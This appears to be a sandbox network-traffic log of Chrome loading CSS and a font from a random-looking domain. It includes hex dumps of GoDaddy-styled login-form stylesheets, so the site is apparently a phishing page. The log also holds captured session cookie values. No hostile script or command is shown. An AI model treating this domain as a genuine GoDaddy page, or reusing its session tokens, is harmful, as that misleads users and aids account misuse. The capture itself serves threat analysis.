2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 74 66 6f 72 6d 7b 66 72 6f 6d 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 75 6e 73 65 74 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 70 72 6f 67 72 65 73 73 44 6f 74 7b 30 25 2c 32 30 25 7b 6c 65 66 74 3a 30 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 3b 6f 70 61 63 69 74 79 3a 30 7d 32 35 25 2c 37 35 25 7b 6f 70 61 63 69 74 79 3a 31 7d 33 35 25 7b 6c 65 66 74 3a 34 35 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 7d 36 35 25 7b 6c 65 66 74 3a 36 30 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 Data Ascii: tform{from{opacity:.4;pointer-events:none}to{opacity:1;pointer-events:unset}}@keyframes progressDot{0%,20%{left:0;animation-timing-function:ease-out;opacity:0}25%,75%{opacity:1}35%{left:45%;animation-timing-function:linear}65%{left:60%;animation-timing-fu
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 6e 74 68 2d 63 68 69 6c 64 28 34 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2e 35 73 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2e 36 35 73 7d 23 73 65 63 74 69 6f 6e 73 7b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 63 65 6c 6c 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 23 73 65 63 74 69 6f 6e 73 20 2e 73 65 63 74 69 6f 6e 63 6f 6e 74 65 6e 74 7b 70 Data Ascii: .loading-container.loading .dot-floating:nth-child(4){animation-delay:.5s}#sections .loading-container.loading .dot-floating:nth-child(5){animation-delay:.65s}#sections{height:100vh;width:100vw;display:table-cell;max-width:100%}#sections .sectioncontent{p
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 30 20 31 70 78 3b 68 65 69 67 68 74 3a 33 36 70 78 3b 6f 75 74 6c 69 6e 65 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 32 30 70 78 29 7d 2e 69 6e 70 75 74 3a 68 6f 76 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 3a 68 6f 76 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 38 29 7d 2e 69 6e 70 75 74 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 7d 23 61 75 74 68 63 61 6c 6c 64 65 73 Data Ascii: 0 1px;height:36px;outline:0;border-radius:0;-webkit-border-radius:0;background-color:transparent;width:calc(100% - 20px)}.input:hover,input[type=email]:hover,input[type=tel]:hover{border-color:rgba(0,0,0,.8)}.input::placeholder{font-size:15px}#authcalldes
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 30 7d 2e 61 6c 65 72 74 2d 65 72 72 6f 72 7b 63 6f 6c 6f 72 3a 23 65 38 31 31 32 33 7d 69 6e 70 75 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2b 6c 61 62 65 6c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 2e 64 69 72 6c 74 72 7b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 7d 2e 69 6e 70 75 74 2d 6d 61 78 2d 77 69 64 74 68 7b 6d 61 78 2d 77 69 64 74 68 3a 36 34 30 70 78 7d 2e 74 61 62 6c 65 2c 69 6e 70 75 74 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 6c 61 62 65 6c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 7b 62 6f 72 Data Ascii: ottom-left-radius:0;border-top-left-radius:0;border-left:0}.alert-error{color:#e81123}input.form-control+label.input-group-addon{border-radius:0}.dirltr{direction:ltr}.input-max-width{max-width:640px}.table,input{max-width:100%}label.input-group-addon{bor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.17	59886	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:05 UTC	1373	OUT	GET /aberie6jZkbpqVFEef25 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
2024-05-22 18:02:08 UTC	630	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:08 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="aberie6jZkbpqVFEef25" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1dGkB4IdiBrKJnJSn9n7s9I%2B3vy3drEU7DkkKuX58cZzztzWIKBZI%2BxGyfbuRpPuB9LlVuO7zfO4zMvBFWSpz8JsmZ5Z9GqHtpwKcbOapeR6JQ5I3KYWPjom7bxABA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb71c1d7643c3-EWR
2024-05-22 18:02:08 UTC	739	IN	Data Raw: 33 32 30 65 0d 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 67 64 73 68 65 72 70 61 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 73 72 63 3a 20 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 62 6f 6c 64 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 62 6f 6c 64 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 2d 31 30 46 46 46 46 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 Data Ascii: 320e@font-face{font-family: 'gdsherpa';font-weight: 700;src: url('/web8/assets/fonts/GDSherpa-bold.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-bold.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family:
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 65 69 67 68 74 3a 20 31 20 39 30 30 3b 73 72 63 3a 20 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 76 66 32 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 76 66 32 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 2d 76 61 72 69 61 74 69 6f 6e 73 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 2d 31 30 46 46 46 46 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 67 64 2d 73 61 67 65 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 73 72 63 3a 20 75 72 Data Ascii: eight: 1 900;src: url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gd-sage';font-weight: 700;src: ur
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 2e 35 65 6d 29 20 2f 20 32 29 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 67 61 70 3a 20 30 2e 35 65 6d 3b 0d 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 20 20 2d 2d 75 78 2d 62 75 74 74 6f 6e 2d 69 63 6f 6e 2d 6d 61 72 67 69 6e 3a 20 63 61 6c 63 28 28 76 61 72 28 2d 2d 75 78 2d 74 33 37 39 6f 76 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 20 2a 20 31 65 6d 20 2d 20 31 2e 35 65 6d 29 20 Data Ascii: .5em) / 2); padding: 0; text-decoration: var(--ux-1f7if5p,underline); -webkit-text-decoration: var(--ux-1f7if5p,underline); gap: 0.5em; cursor: pointer; --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em)
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 62 6c 6f 63 6b 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 62 6c 6f 63 6b 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 62 6c 6f 63 6b 3a 6e 6f 74 28 3a 65 6d 70 74 79 29 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 62 6c 6f 63 6b 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 Data Ascii: size);}#sections_godaddy .ux-space.ux-space--block:empty { display: inline-flex; block-size: var(--uxSpace--padding-size);}#sections_godaddy .ux-space.ux-space--block:not(:empty) { padding-block: var(--uxSpace--padding-size);}#s
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 33 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 32 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 34 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 33 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 35 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 Data Ascii: 3v,1.125)); --uxText--fontSize3: calc(var(--uxText--fontSize2) var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize4: calc(var(--uxText--fontSize3) var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize5: calc(var(--uxText--font
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 6c 6f 72 3a 20 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 0d 0a 20 20 66 69 6c 6c 3a 20 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 74 65 78 74 2d 69 6e 70 75 74 2d 73 68 65 6c 6c 20 2e 75 78 2d 74 65 78 74 2d 63 61 70 74 69 6f 6e 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 36 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 66 69 65 6c 64 2d 66 72 61 6d 65 2e 75 78 2d 66 69 65 6c 64 2d 66 72 61 6d 65 2d 2d 69 6e 76 61 6c 69 64 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 44 42 31 38 30 32 20 21 69 6d 70 6f 72 74 61 6e 74 Data Ascii: lor: currentColor; fill: currentColor;}#sections_godaddy .ux-text-input-shell .ux-text-caption { margin-top: 6px; font-size: 13px;}#sections_godaddy .ux-field-frame.ux-field-frame--invalid { border-color: #DB1802 !important
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 73 72 2d 6f 6e 6c 79 20 7b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 77 69 64 74 68 3a 20 31 70 78 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 63 6c 69 70 3a 20 72 65 63 74 28 30 2c 30 2c 30 2c 30 29 3b 0d 0a 20 20 63 6c 69 70 3a 20 72 65 63 74 28 30 2c 30 2c 30 2c 30 29 3b 0d 0a 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 63 6c 69 70 2d 70 61 74 68 3a 20 69 6e 73 65 74 28 35 30 25 29 3b 0d 0a 20 20 63 6c 69 70 2d 70 61 74 68 3a 20 69 6e 73 65 74 28 35 30 25 29 3b 0d 0a Data Ascii: ions_godaddy .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; overflow: hidden; -webkit-clip: rect(0,0,0,0); clip: rect(0,0,0,0); white-space: nowrap; -webkit-clip-path: inset(50%); clip-path: inset(50%);
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 65 72 2d 62 6f 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2e 30 39 33 37 35 72 65 6d 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 Data Ascii: er-box; padding: 0; vertical-align: .09375rem;}#sections_godaddy .container { margin-left: auto; margin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container::after { content: ""; display: tab
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 70 78 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 63 61 72 64 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 66 6f 6e 74 2d 70 72 69 6d 61 72 79 2d 62 6f 6c 64 20 7b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 30 36 37 70 68 39 2c 73 61 6e 73 2d 73 65 72 69 66 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 65 72 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 Data Ascii: px solid var(--ux-97h3vl,#d3d3d3);}#sections_godaddy .ux-card .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .font-primary-bold { font-family: var(--ux-1067ph9,sans-serif); font-weight: bolder;}#sec
2024-05-22 18:02:08 UTC	1131	IN	Data Raw: 2c 76 61 72 28 2d 2d 75 78 2d 39 71 70 66 36 63 2c 23 30 30 66 29 29 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 75 71 34 39 70 67 2c 76 61 72 28 2d 2d 75 78 2d 68 36 65 37 63 31 2c 23 66 66 66 29 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 34 68 76 6f 76 6e 2c 76 61 72 28 2d 2d 75 78 2d 31 78 6c 69 75 68 69 2c 74 72 61 6e 73 70 61 72 65 6e 74 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 2e 75 78 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 Data Ascii: ,var(--ux-9qpf6c,#00f)); color: var(--ux-uq49pg,var(--ux-h6e7c1,#fff)); border-color: var(--ux-4hvovn,var(--ux-1xliuhi,transparent));}#sections_godaddy .ux-button.ux-button-primary { color: #fff; background-color: #000; border-color:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.17	59889	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:05 UTC	1396	OUT	GET /pqOXwEJDxFZyzN1auv36 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://l6agz47874.eleteriod.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
2024-05-22 18:02:08 UTC	621	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:08 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="pqOXwEJDxFZyzN1auv36" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9se8zN24qLCh0ZhMQVjkI%2FyEXPFkZ7gmn8DI4kSxtDHrWiPBmqwRf4RSaeAwKub0IiMItZO4V6PwIB%2BebCgLpX%2BCQWb%2FmXCJbTTF3SmI%2B%2F7HBhtCKfUnmvUwc97y3Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb71c1fd90f6d-EWR
2024-05-22 18:02:08 UTC	748	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JFc A7kv2=Zn4`~Nl4;Sl{w:#=!
